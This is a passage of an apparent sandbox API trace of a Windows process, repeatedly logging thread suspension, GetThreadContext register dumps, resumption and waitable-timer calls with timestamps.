[81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0175.608] ResumeThread (hThread=0x170) returned 0x1 [0175.608] CloseHandle (hObject=0x170) returned 1 [0175.608] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0175.608] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0175.671] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0175.671] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0175.686] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xe4, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd3f7f8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd3f7f8*=0x170) returned 1 [0175.686] SuspendThread (hThread=0x170) returned 0x0 [0175.686] GetThreadContext (in: hThread=0x170, lpContext=0xd3f810 | out: lpContext=0xd3f810*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10206, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000414a40, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0xe383aa, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0175.777] ResumeThread (hThread=0x170) returned 0x1 [0175.778] CloseHandle (hObject=0x170) returned 1 [0175.778] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x11c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd3f7f8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd3f7f8*=0x170) returned 1 [0175.778] SuspendThread (hThread=0x170) returned 0x0 [0175.778] GetThreadContext (in: hThread=0x170, lpContext=0xd3f810 | out: lpContext=0xd3f810*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0x4b5bf748, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x7fffccacb8e4, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0176.107] ResumeThread (hThread=0x170) returned 0x1 [0176.107] CloseHandle (hObject=0x170) returned 1 [0176.107] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0176.108] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0176.144] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0176.144] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0176.200] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x11c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd3f7f8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd3f7f8*=0x16c) returned 1 [0176.200] SwitchToThread () returned 1 [0176.204] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0176.206] SuspendThread (hThread=0x16c) returned 0x0 [0176.206] GetThreadContext (in: hThread=0x16c, lpContext=0xd3f810 | out: lpContext=0xd3f810*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0x4b5bf588, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x7fffccacdee4, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0176.207] ResumeThread (hThread=0x16c) returned 0x1 [0176.208] CloseHandle (hObject=0x16c) returned 1 [0176.208] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0176.208] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0176.222] WaitForMultipleObjects (nCount=0x2, lpHandles=0xd3fcb0*=0x174, bWaitAll=0, dwMilliseconds=0xea60) returned 0x0 [0176.247] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x11c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd3f7f8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd3f7f8*=0x170) returned 1 [0176.247] SuspendThread (hThread=0x170) returned 0x0 [0176.247] GetThreadContext (in: hThread=0x170, lpContext=0xd3f810 | out: lpContext=0xd3f810*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0x4b5bf758, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x7fffccacb8e4, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0176.285] ResumeThread (hThread=0x170) returned 0x1 [0176.285] CloseHandle (hObject=0x170) returned 1 [0176.285] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0176.285] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0176.285] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, 